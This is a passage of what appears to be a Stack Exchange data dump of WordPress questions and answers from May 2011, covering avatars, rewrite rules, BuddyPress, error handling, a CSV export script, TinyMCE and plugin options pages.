  <row Id="17766" PostTypeId="1" AcceptedAnswerId="17768" CreationDate="2011-05-20T06:48:42.060" Score="0" ViewCount="22" Body="&lt;p&gt;I am sure I am missing something very straightforward, but there seems to be no way for me to upload a photo for my profile or for a user profile the will be used in place of the placeholder white on grey silhouette that my theme displays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did Google for this, and I seem to get a bewildering array of possible plugins, but I would have thought that there was an easier way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I must install a plugin, what is the best one? (I realize that is a difficult question, but even getting it down to a shortlist would be nice!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Wordpress version 3.1.2 with the Twenty Ten theme version 1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following plugins active:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Analytics for WordPress version 4.1&#xA;SyntaxHighlighter version 3.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="5382" LastEditorUserId="5382" LastEditorDisplayName="" LastEditDate="2011-05-20T07:10:46.957" LastActivityDate="2011-05-20T07:17:21.680" Title="How do I allow users to supply a photo/image to be used instead of the grey/white silhouette?" Tags="&lt;plugins&gt;&lt;posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17767" PostTypeId="1" AcceptedAnswerId="17772" CreationDate="2011-05-20T06:49:12.917" Score="0" ViewCount="101" Body="&lt;p&gt;I have custom post types registered and they are working fine with their normal URLs. My Custom post types have 'members' as their slug. Now I am trying to have a custom permalink for my custom post types. Here is my $wp_write-&gt;add_rule&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_rewrite-&amp;gt;add_rule('members/.+?/(.+)/$','index.php?post_type=pasha_members&amp;amp;name=$matches[1]', 'top');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is my $wp_rewrite-&gt;rules array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;    ['members/.+?/(.+)/$'] =&amp;gt; 'index.php?post_type=pasha_members&amp;amp;name=$matches[1]'&#xA;    ['category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$'] =&amp;gt; 'index.php?category_name=$matches[1]&amp;amp;feed=$matches[2]'&#xA;    ['category/(.+?)/(feed|rdf|rss|rss2|atom)/?$'] =&amp;gt; 'index.php?category_name=$matches[1]&amp;amp;feed=$matches[2]'&#xA;   ...&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the url that I am trying to access, I am not able to figure out what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://wp.dev/members/city1-city2/best-compnay/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I change Permalink settings to default in Settings-&gt;Permalink, I can access the custom post just fine using the following url.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://wp.dev/?post_type=pasha_members&amp;amp;name=best-compnay&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need more information. Any help pointers are much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I have put the add_rule in init instead of activate just for the testing. I also have put the flush_rewrite_rules in the init, its also temporarily until its fixed.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-05-20T07:23:46.773" LastActivityDate="2011-05-20T07:42:57.440" Title="Custom Permalinks for Custom Post Types" Tags="&lt;custom-post-types&gt;&lt;url-rewriting&gt;&lt;rewrite-rules&gt;" AnswerCount="1" />
  <row Id="17768" PostTypeId="2" ParentId="17766" CreationDate="2011-05-20T07:17:21.680" Score="1" ViewCount="" Body="&lt;p&gt;These images are called &lt;em&gt;Avatars&lt;/em&gt;. By default, WordPress works with &lt;a href=&quot;http://www.gravatar.com/&quot; rel=&quot;nofollow&quot;&gt;the Gravatar service&lt;/a&gt;, which hosts your avatar on one central location so you don't have to upload it to every site you comment on. It is based on your e-mail address (you see it on action on this site too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to provide the functionality to load avatar images from your own site you will indeed need to load an extra plugin. Some popular plugins are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/add-local-avatar/&quot; rel=&quot;nofollow&quot;&gt;Add Local Avatar&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-local-avatars/&quot; rel=&quot;nofollow&quot;&gt;Simple Local Avatars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-20T07:17:21.680" CommentCount="2" />
  <row Id="17769" PostTypeId="2" ParentId="17740" CreationDate="2011-05-20T07:31:07.600" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;dynamic_sidebar()&lt;/code&gt; calls &lt;code&gt;wp_get_sidebars_widgets()&lt;/code&gt; to get the list of all sidebars and their widgets. This output is filtered through &lt;code&gt;sidebars_widgets&lt;/code&gt;, so you can &lt;a href=&quot;http://wordpress.stackexchange.com/questions/17681/call-dynamic-sidebar-but-include-exclude-named-widgets/17687#17687&quot;&gt;modify it to add or remove widgets&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This array only contains widget IDs, so you need to register the widget instance too (it should end up in the global &lt;code&gt;$wp_registered_widgets&lt;/code&gt; array). I think you can do this with &lt;code&gt;wp_register_sidebar_widget()&lt;/code&gt;, but it is possible that this is older code from the time when a widget could not have multiple instances yet. &lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-20T07:31:07.600" CommentCount="2" />
  <row Id="17771" PostTypeId="1" CreationDate="2011-05-20T07:37:47.150" Score="1" ViewCount="112" Body="&lt;p&gt;I'd like to exclude a specific user account from showing up in the activity stream. &#xA;I found this code that's supposed to exclude the Admin. Any clue how to exclude a specific user? (this code goes in bp-custom.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;add_action(&quot;plugins_loaded&quot;,&quot;bpdev_init_sm_mode&quot;);&#xA;function bpdev_init_sm_mode(){&#xA;if(is_site_admin())&#xA;remove_action(&quot;wp_head&quot;,&quot;bp_core_record_activity&quot;);//id SM is on, remove the record activity hook&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="4194" LastActivityDate="2011-05-20T09:08:45.980" Title="Exclude User from Activity Stream in BuddyPress?" Tags="&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="17772" PostTypeId="2" ParentId="17767" CreationDate="2011-05-20T07:42:57.440" Score="1" ViewCount="" Body="&lt;p&gt;It appears that WordPress cuts off the final &lt;code&gt;/&lt;/code&gt; before it starts matching the URL. So make it optional in the regex and it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;members/.+?/(.+)/?$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the city and company parts will not contain slashes it could be even more clear to use &lt;code&gt;[^/]+&lt;/code&gt; to match them (&quot;everything up to a slash&quot;). Then your regex would become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;members/[^/]+/([^/]+)/?$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I created &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;a plugin to analyze your rewrite rules&lt;/a&gt;, it is really easy to play with and debug your rules. Although you made me discover an error in it: it did not remove the final slash, so your first regex matched in my analyzer but not in the &quot;real&quot; WordPress. I'll update it soon!&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-20T07:42:57.440" CommentCount="2" />
  <row Id="17773" PostTypeId="1" AcceptedAnswerId="17783" CreationDate="2011-05-20T08:14:49.273" Score="0" ViewCount="65" Body="&lt;p&gt;Im trying to build a function which grabs the feedburner &quot;readers&quot; using &lt;code&gt;wp_remote_get()&lt;/code&gt;. I noticed that it frequently returned a value of &lt;code&gt;0&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed at first that it was a WordPress error (handled by &lt;code&gt;is_wp_error()&lt;/code&gt;) or a flaw with &lt;code&gt;wp_remote_get()&lt;/code&gt;. Wrong of-course..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feedburner just kept crashing, so I used a second transient to store a result (never &lt;code&gt;0&lt;/code&gt;) with an expiration of 7 days. The part which i cant get my head around is handling errors with &lt;code&gt;is_wp_error()&lt;/code&gt;. I need to force an error so i can handle it properly, before I put it up on production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres an illustration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = wp_remote_get( 'http://feedburner.google.com/api/awareness/1.0/GetFeedData?uri=' . urlencode($username) );&#xA;&#xA;if ( is_wp_error($result) )&#xA;    return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whats the best way to force an error? Should i use &lt;code&gt;new WP_error()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-20T09:35:02.073" Title="is_wp_error() and handling errors" Tags="&lt;errors&gt;&lt;transient&gt;&lt;handling&gt;" AnswerCount="2" />
  <row Id="17774" PostTypeId="1" CreationDate="2011-05-20T08:31:59.203" Score="0" ViewCount="30" Body="&lt;p&gt;I am having trouble embedding a third-party widget into a Wordpress post and page. The widget posts properly in non-Wordpress sites, but when I paste the code into a Wordpress post/page, the output is merely a link, and not the widget. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to how to get the actual widget in the post??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5512" LastActivityDate="2011-05-20T08:31:59.203" Title="Embedding 3rd Party Widget" Tags="&lt;widgets&gt;&lt;embed&gt;&lt;third-party-applications&gt;" CommentCount="2" />
  <row Id="17775" PostTypeId="2" ParentId="17773" CreationDate="2011-05-20T08:45:15.970" Score="-1" ViewCount="" Body="&lt;p&gt;To grab Feedburner stats, I've always used &lt;code&gt;wp_cache_get&lt;/code&gt;. Here's a function I've had success with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_feedburner_stats() {&#xA;  $fbrefreshtime = 43200;  //Refresh Feedburner twice in a day&#xA;&#xA;  $fb = wp_cache_get('fbstats_key');&#xA;&#xA;  if ($fb == false) {&#xA;    $yourfeeduri = 'YOUR_FEEDBURNER_USERID'; &#xA;    $feed = 'https://feedburner.google.com/api/awareness/1.0/GetFeedData?uri='.$yourfeeduri;&#xA;    $ch = curl_init();&#xA;    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;    curl_setopt($ch, CURLOPT_URL, $feed);&#xA;    $feed = curl_exec($ch); curl_close($ch);&#xA;    $xml = new SimpleXMLElement($feed);&#xA;    $fb = $xml-&amp;gt;feed-&amp;gt;entry['circulation']; &#xA;&#xA;    //Set the Value in Cache&#xA;    wp_cache_set('fbstats_key', strval($fb), '', $fbrefreshtime);&#xA;  }&#xA;  return $fb;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To return the value, I use this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_feedburner_stats(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That being said, Feedburner is horribly unreliable. What I'd recommend doing is building in a conditional that if the number = 0, then it returns a static number.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-05-20T08:45:15.970" CommentCount="2" />
  <row Id="17776" PostTypeId="2" ParentId="17340" CreationDate="2011-05-20T08:46:26.030" Score="1" ViewCount="" Body="&lt;p&gt;You can try looking at this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/imagemagick-engine/&quot; rel=&quot;nofollow&quot;&gt;WordPress ImageMagick Engine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replaces wordpress image resizing from GD to ImageMagick. You need a compatible host to use it though&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-20T08:46:26.030" />
  <row Id="17777" PostTypeId="2" ParentId="10505" CreationDate="2011-05-20T09:04:09.937" Score="0" ViewCount="" Body="&lt;p&gt;create this as a 'export_data.php' file. &#xA; Then call this php from the  link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$host = 'localhost';&#xA;$user = 'mysqlUser';&#xA;$pass = 'myUserPass';&#xA;$db = 'myDatabase';&#xA;$table = 'products_info';&#xA;$file = 'export';&#xA;&#xA;$link = mysql_connect($host, $user, $pass) or die(&quot;Can not connect.&quot; . mysql_error());&#xA;mysql_select_db($db) or die(&quot;Can not connect.&quot;);&#xA;&#xA;$result = mysql_query(&quot;SHOW COLUMNS FROM &quot;.$table.&quot;&quot;);&#xA;$i = 0;&#xA;if (mysql_num_rows($result) &amp;gt; 0) {&#xA;while ($row = mysql_fetch_assoc($result)) {&#xA;$csv_output .= $row['Field'].&quot;; &quot;;&#xA;$i++;&#xA;}&#xA;}&#xA;$csv_output .= &quot;\n&quot;;&#xA;&#xA;$values = mysql_query(&quot;SELECT * FROM &quot;.$table.&quot;&quot;);&#xA;while ($rowr = mysql_fetch_row($values)) {&#xA;for ($j=0;$j&amp;lt;$i;$j++) {&#xA;$csv_output .= $rowr[$j].&quot;; &quot;;&#xA;}&#xA;$csv_output .= &quot;\n&quot;;&#xA;}&#xA;&#xA;$filename = $file.&quot;_&quot;.date(&quot;Y-m-d_H-i&quot;,time());&#xA;header(&quot;Content-type: application/vnd.ms-excel&quot;);&#xA;header(&quot;Content-disposition: csv&quot; . date(&quot;Y-m-d&quot;) . &quot;.csv&quot;);&#xA;header( &quot;Content-disposition: filename=&quot;.$filename.&quot;.csv&quot;);&#xA;print $csv_output;&#xA;exit;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5528" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-20T09:07:30.060" LastActivityDate="2011-05-20T09:07:30.060" />
  <row Id="17779" PostTypeId="2" ParentId="17771" CreationDate="2011-05-20T09:08:45.980" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action(&quot;plugins_loaded&quot;,&quot;bpdev_init_sm_mode&quot;);&#xA;function bpdev_init_sm_mode(){&#xA;    global $current_user;&#xA;    if(is_user_logged_in()) {&#xA;        get_currentuserinfo();&#xA;        if(&quot;someusername&quot; == $current_user-&amp;gt;user_login) {&#xA;            remove_action(&quot;wp_head&quot;,&quot;bp_core_record_activity&quot;);//id SM is on, remove the record activity hook&#xA;        }&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-20T09:08:45.980" CommentCount="2" />
  <row Id="17781" PostTypeId="1" AcceptedAnswerId="17812" CreationDate="2011-05-20T09:10:52.883" Score="2" ViewCount="147" Body="&lt;p&gt;Hey everyone, I can't se the image of the post (it is attached through gravity form as a post-image) with this function I see the missing image icon with the title and the working link but no thumbnail image.? It is suposed to be more or less ( authors last 2 posts in the widget area) I suspect the problem is here :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output .= '&amp;lt;img src=&quot;' .  wp_attachment_is_image( $post_id ) . '&quot; alt=&quot;&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So please help me out :D&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_related_author_posts() {&#xA;global $authordata, $post;&#xA;&#xA;$authors_posts = get_posts( array( 'orderby' =&amp;gt; 'rand', 'author' =&amp;gt; $authordata-&amp;gt;ID, &#xA;'post__not_in' =&amp;gt; array( $post-&amp;gt;ID ), 'posts_per_page' =&amp;gt; 2 ) );&#xA;&#xA;$output = '&amp;lt;ul class=&quot;post_related&quot;&amp;gt;' . &quot;\n&quot;;&#xA;foreach ( $authors_posts as $authors_post ) {&#xA;    $output .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_permalink( $authors_post-&amp;gt;ID ) . '&quot; title=&quot;' . &#xA;apply_filters( 'the_title', $authors_post-&amp;gt;post_title, $authors_post-&amp;gt;ID ) . '&quot;&amp;gt;';&#xA;    $output .= '&amp;lt;img src=&quot;' .  wp_attachment_is_image( $post_id ) . '&quot; alt=&quot;&quot;&#xA;/&amp;gt;';&#xA;    $output .= '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;' . &quot;\n&quot;;&#xA;}&#xA;$output .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5499" LastActivityDate="2011-07-19T18:33:25.933" Title="Function to call the attachment image from post" Tags="&lt;images&gt;&lt;attachments&gt;&lt;plugin-gravity-forms&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="17783" PostTypeId="2" ParentId="17773" CreationDate="2011-05-20T09:35:02.073" Score="3" ViewCount="" Body="&lt;p&gt;WordPress can be inconsistant as to hen is returns a &lt;code&gt;WP_Error&lt;/code&gt; object and when it just returns &lt;code&gt;false&lt;/code&gt; or &lt;code&gt;string(0)&lt;/code&gt; when actually there was an error. I am not sure exactly what feedburner is returning to not trigger a &lt;code&gt;WP_Error&lt;/code&gt; from &lt;code&gt;wp_remote_get()&lt;/code&gt; - but if you know &lt;code&gt;wp_remote_get()&lt;/code&gt; will return an WP_Error, I would just set &lt;code&gt;$result = new WP_Error( 'my-error' );&lt;/code&gt; This is the same object that &lt;code&gt;wp_remote_get()&lt;/code&gt; will return on error.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-05-20T09:35:02.073" CommentCount="2" />
  <row Id="17784" PostTypeId="2" ParentId="17727" CreationDate="2011-05-20T09:36:46.440" Score="0" ViewCount="" Body="&lt;h2&gt;jQuery is your friend.&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;jQuery('a.toplevel_page_w3tc_general').text('Ytelse (avansert)');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Working example: &lt;a href=&quot;http://jsfiddle.net/c3mdigital/Lq7UX/4/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/c3mdigital/Lq7UX/4/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-20T15:22:39.293" LastActivityDate="2011-05-20T15:22:39.293" />
  <row Id="17785" PostTypeId="1" CreationDate="2011-05-20T10:12:19.847" Score="2" ViewCount="92" Body="&lt;p&gt;Judging by the lack of information when I perform a search, I may be one of the few people that has tried to get these plugins playing nicely together. When all is sorted and the site is live, I’ll post up a link to hopefully inspire a few other sites to try them out together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I have is a standard WP multisite/BP configuration, to which I’ve installed the WooTumblog plugin at the network level and then added ‘function woo_tumblog_type’ and ‘function woo_tumblog_short_title’ to the functions.php file in the child theme used by my sub-sites. Both my main theme and child themes are heavily adapted from the BP Default theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhat frustrated by the lack of front-end publishing tools for Wordpress and keen to use the WooTumblog dashboard (which uses javascript enabled panel changes depending on whether a user wishes to publish a video, image, quote, link or article), I decided to customise the admin area for users to look identical to the site’s front-end, then I removed all other dashboard widget boxes (using unset($wp_meta_boxes…) and all the admin sidebars and menus (using remove_submenu_page()) and also customised the admin bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is a a user admin dashboard that looks as if it is a part of the main site. The configurations are triggered by user level – using &#xA;&#xA;&lt;p&gt;I came slightly unstuck when I implemented the WPMU sitewide tags plugin which copies everything on the network into a single site which can them be used to produce cross-site tags, searches and display all the latest network posts. On the front end of my main site (where all the latest posts are displayed) I display a tumblog icon against each post based on its taxonomy (i.e. video, image, quote…) . I have built a 'catch image' function which displays the first image from a post and where there is no image (such as for a quote or video) it displays a default thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine except I cannot get the custom taxonomy to reach the main site (or tag blog) so that I can then customise the presentation of these sub-site posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been in contact with Ron Rennick (who maintains WPMU SWT) and Jeff Pearce (who is the woo themes developer behind wootumblog). They've both shared their advice, but I've not worked with classes, actions and filters so I'm finding it difficult translating their advice into tangible changes in my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has a spare moment and would like to give it a go, here's a link to Ron's advice; &lt;a href=&quot;http://wordpress.org/support/topic/getting-buddypress-and-sitewide-tags-to-play-nicely?replies=10&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/getting-buddypress-and-sitewide-tags-to-play-nicely?replies=10&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Ron's input I created the following plugin..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: SWT Custom Taxonomy&#xA;Description: Addition of new custom taxonomies to the wpmu sitewide tags plugin.&#xA;Version: 1.0&#xA;Author: CitizenSlide&#xA;License: GPL2&#xA;*/&#xA;&#xA;function my_swt_custom_tax_filter( $taxonomies ) {&#xA;$taxonomies[] = 'tumblog';&#xA;return $taxonomies;&#xA;}&#xA;add_filter( 'sitewide_tags_custom_taxonomies', 'my_swt_custom_tax_filter' );&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as far as I can tell, there is no change in the output written to the SWT tag blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with any thoughts? I 'just' want to carry one (custom taxonomy) field from a sub-site post through to the main site using the sitewide tags plugin.  How hard can that really be?&lt;/p&gt;&#xA;" OwnerUserId="5529" LastEditorUserId="5529" LastEditorDisplayName="" LastEditDate="2011-05-20T10:18:19.343" LastActivityDate="2011-05-20T10:18:19.343" Title="Integrating Buddypress, Wootumblog and WPMU Sitewide tags" Tags="&lt;buddypress&gt;" />
  <row Id="17786" PostTypeId="1" CreationDate="2011-05-20T10:26:11.280" Score="3" ViewCount="371" Body="&lt;p&gt;I am trying to add tinymce editor in my frontend from where users can post. But no luck so far. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_print_scripts', 'my_enqueue_scripts');&#xA;&#xA;function my_enqueue_scripts() {      &#xA;        wp_enqueue_script( 'tiny_mce' );&#xA;        if (function_exists('wp_tiny_mce')) wp_tiny_mce();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Javascript:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;tinyMCE.init({&#xA;        mode : &quot;textareas&quot;,&#xA;        theme : &quot;simple&quot;, &#xA;        /*plugins : &quot;autolink, lists, spellchecker, style, layer, table, advhr, advimage, advlink, emotions, iespell, inlinepopups, insertdatetime, preview, media, searchreplace, print, contextmenu, paste, directionality, fullscreen, noneditable, visualchars, nonbreaking, xhtmlxtras, template&quot;,*/&#xA;        editor_selector :&quot;editor&quot;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea rows=&quot;8&quot; cols=&quot;40&quot; name=&quot;description&quot; id=&quot;editor&quot; class=&quot;required&quot;&amp;gt;&amp;lt;?php echo $description;?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; Texteditor not adding to textarea. Although the tinymce js file is loading.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-05T20:00:59.643" Title="How do i include tinymce editor in frontend?" Tags="&lt;tinymce&gt;&lt;front-end&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17787" PostTypeId="1" AcceptedAnswerId="17800" CreationDate="2011-05-20T10:45:45.187" Score="1" ViewCount="163" Body="&lt;p&gt;I am learning development of plugins, I am stuck into saving the plugin options form data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a plugin options page, where three fields asking for number of videos, height and width are coded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I enter the values into it, and hit on save its just saving one value, that is, number of videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;add_action('admin_init', 'ozh_sampleoptions_init' );&#xA;add_action('admin_menu', 'ozh_sampleoptions_add_page');&#xA;&#xA;// Init plugin options to white list our options&#xA;function ozh_sampleoptions_init(){&#xA;    register_setting( 'ozh_sampleoptions_options', 'ozh_sample', 'ozh_sampleoptions_validate' );&#xA;}&#xA;&#xA;// Add menu page&#xA;function ozh_sampleoptions_add_page() {&#xA;    add_options_page('Youtube Video Settings', 'Youtube Video Settings', 'manage_options', 'ozh_sampleoptions', 'ozh_sampleoptions_do_page');&#xA;}&#xA;&#xA;// Draw the menu page itself&#xA;function ozh_sampleoptions_do_page() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Youtube Video Setting Options&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;            &amp;lt;?php settings_fields('ozh_sampleoptions_options'); ?&amp;gt;&#xA;            &amp;lt;?php $options = get_option('ozh_sample'); ?&amp;gt;&#xA;            &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;                &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;No of videos:&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;ozh_sample[sometext]&quot; value=&quot;&amp;lt;?php echo $options['sometext']; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;&#xA;                                &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;Height:&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;ozh_sample[hgt]&quot; value=&quot;&amp;lt;?php echo $options['hgt']; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;&#xA;                                &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;Width:&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;ozh_sample[wid]&quot; value=&quot;&amp;lt;?php echo $options['wid']; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;            &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php   &#xA;&#xA;}&#xA;&#xA;// Sanitize and validate input. Accepts an array, return a sanitized array.&#xA;function ozh_sampleoptions_validate($input) {&#xA;    // Our first value is either 0 or 1&#xA;    //$input['option1'] = ( $input['option1'] == 1 ? 1 : 0 );&#xA;&#xA;    // Say our second option must be safe text with no HTML tags&#xA;    $input['sometext'] =  wp_filter_nohtml_kses($input['sometext']);&#xA;    $input['hgt'] =  wp_filter_nohtml_kses($input['hgt']);&#xA;    $input['wid'] =  wp_filter_nohtml_kses($input['wid']);&#xA;&#xA;    return $input;&#xA;}&#xA;    $myoptions = get_option( 'ozh_sampleoptions_options' ); &#xA;echo 'Niraj';&#xA;echo $options['sometext'];&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its not saving height and width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I have to work on &lt;code&gt;&amp;lt;input type='hidden' name='page_options' value='vidNO'/&amp;gt;&lt;/code&gt; code, but not getting it,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can 